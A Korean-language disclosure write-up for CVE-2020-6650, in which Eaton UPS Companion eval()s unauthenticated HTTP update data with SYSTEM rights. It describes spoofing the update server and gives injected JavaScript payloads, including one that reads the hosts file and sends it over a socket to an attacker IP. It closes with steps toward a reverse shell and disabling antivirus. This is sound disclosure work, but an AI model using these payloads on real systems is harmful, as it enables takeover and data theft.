
이 저장소는 Eaton의 UPS Companion에서 발견한 취약점 CVE-2020-6650에 대해 자세히 설명합니다. 모든 사용자는 즉시 v1.06으로 업그레이드해야 하며, 그렇지 않으면 원격 관리자 액세스 권한을 얻을 위험이 있습니다.
Eaton UPS Companion 소프트웨어는 매주 보안되지 않은 HTTP 연결을 통해 업데이트를 확인하고, 업데이트 URL에 있는 내용을 eval()로 실행합니다. 이를 통해 공격자는 백엔드 소프트웨어에 이미 존재하는 저수준 OS 작업(파일 실행, 네트워크 소켓, 파일시스템 I/O 등)을 사용하는 JavaScript 함수를 조작할 수 있습니다. 이러한 모든 작업은 NT AUTHORITY\SYSTEM 권한으로 발생하며, 이는 UPS(무정전 전원 공급 장치)가 시스템 관리를 위해 필요로 하는 권한 때문일 가능성이 높습니다. 잠시 기다리면 별다른 노력 없이 SYSTEM 셸을 제공하는 자동 명령 주입이 발생합니다.
이 문제는 버전 1.06에서 수정되었으며, 할당된 CVE ID는 CVE-2020-6650입니다.
| 버그 발견 | 2019/10/25 - 21:43 |
| 익스플로잇 인지 | 2019/12/28 - 06:28 |
| Eaton에 보고 | 2019/12/28 - 10:00 |
| 확인 | 2019/12/30 - 22:05 |
| 간단한 PoC 전송 | 2020/01/04 - 03:32 |
| 패치 중 | 2020/01/21 - 12:54 |
| 패치 완료 | 2020/03/21 - 12:21 |
이 익스플로잇의 공개를 간단히 할 수 있도록 도와준 Eaton에 감사드립니다.
Eaton UPS Companion은 http://pqsoftware.eaton.com/upgrade/upgrade_euc.info 에서 업데이트를 가져옵니다.
문제 1: dsniff의 arpspoof와 dnsspoof, 그리고 python -m http.server 80을 통해 쉽게 스푸핑될 수 있습니다.
문제 2: HTTPS 부재로 인해 동일한 효과를 위한 또 다른 공격 벡터가 열립니다.
2019/10/25 - 22:08 기준, 이 링크의 내용은 다음과 같습니다:
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
"EUC":
{
"WINDOWS":
{
"version": "1.04.017",
"packageURL": "install/win32/euc/euc_win_1_04_017.exe",
"info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
}
}
}
파일에 대한 SHA1 체크섬이 어떻게 계산되는지 또는 무엇을 사용하여 계산하는지 알 수 없지만, 이를 알게 되면 훨씬 간단해질 것입니다.
Eaton UPS Companion은 http://localhost:4679에 로컬 HTTP 서버를 생성합니다.
"Version: Eaton UPS Companion v1.05"를 클릭하면 http://localhost:4679/trace.html에서 "숨겨진" 디버그 로그가 열립니다.
cmd.exe에서 .\mc2.exe -start -debug를 통해 열 수도 있습니다.
빈 HTML 페이지를 제공하면 눈에 띄는 오류가 발생하며 로그에 기록됩니다:
2019/10/25-21:32:29.051 | UpdateManager | !!! ERROR: Update data could not be parsed:
{
"message": "syntax error",
"fileName": "scripts/libs/json.js",
"lineNumber": 122,
"stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
"name": "SyntaxError"
}
여기서 eval()이 사용되고 있어 공격이 더 쉬워집니다. 다음은 UI 조작의 예시로, 아래 내용이 update_euc.info에 들어갑니다.
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})
익명 함수 덕분에 이를 적절한 함수로 변환할 수 있습니다:
(function() {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()
ShutdownManager에도 접근할 수 있을 것으로 생각되며, 이는 좋지 않습니다.
http://localhost:4679/server/data_srv.js?action=init 에 접속하면 시스템이 어떻게 작동하는지에 대한 더 많은 정보를 얻을 수 있습니다.
일반 JS 함수인 alert()는 존재하지 않으며, document, console, object와 같은 객체도 존재하지 않습니다.
매우 오래된 버전의 ECMAScript인가요? let 키워드도 없고 var만 있습니다.
아래 내용이 도움이 될 수 있습니다:
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});
다음과 같이 "manager" 객체(예: UpdateManager)의 모든 속성을 볼 수 있습니다:
(function() {
for (var property in UpdateManager) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
}
})()
UpdateManager에서 이 작업을 수행하면 다음과 같은 매우 흥미로운 함수를 찾을 수 있습니다:
selfUpdate IS function () {\n var packagePath = UpdateManager.retrievePackage();\n if (packagePath) {\n ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n }\n}
retrievePackage IS function () {\n var updateLocation = UpdateManager.updateLocation;\n if (!UpdateManager.updateData) {\n UpdateManager.checkForUpgrade();\n }\n if (!UpdateManager.updateData.packageURL) {\n error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n return false;\n }\n var packageURL = UpdateManager.updateData.packageURL;\n var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n File.createPath(UpdateManager.outputPath);\n if (File.status(packagePath)) {\n debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n return packagePath;\n }\n debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n var client = new HTTPClient(updateLocation);\n var response = client.get(packageURL);\n if (response && response.status == 200) {\n debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n try {\n File.put(packagePath, response.data);\n debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n return packagePath;\n } catch (e) {\n error(\"Failed to save update package at '?'\", packagePath);\n }\n } else {\n debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n }\n return false;\n}
이를 통해 우리가 문제를 일으킬 수 있음을 알 수 있습니다:
(function() {
if (System.getAdminRights()) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
}
})()
File.get("C:\\Windows\\System32\\drivers\\etc\\hosts")와 같은 더 유용한 함수 호출도 있습니다. 이는 호스트 파일의 내용을 문자열로 출력하지만 내부에서만 가능합니다. HTTPClient 객체의 속성을 조사한 후 소켓을 생성할 수 있는 또 다른 객체 클래스가 있음을 발견했습니다.
예를 들어, 호스트 파일을 수신하려면:
(function() {
var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
var s = new Socket("tcp");
s.connect("192.168.1.???", 44444);
s.send(hosts);
s.close;
}
})()
마지막으로 System.open(<file>, <args>)이 어떻게 작동하는지 알아냈습니다. 이는 파일을 실행합니다. 여기서부터는 리버스 셸을 업로드하고, 안티바이러스 솔루션을 무력화한 후(SYSTEM 권한이 있으므로), 리버스 셸을 획득하기만 하면 됩니다.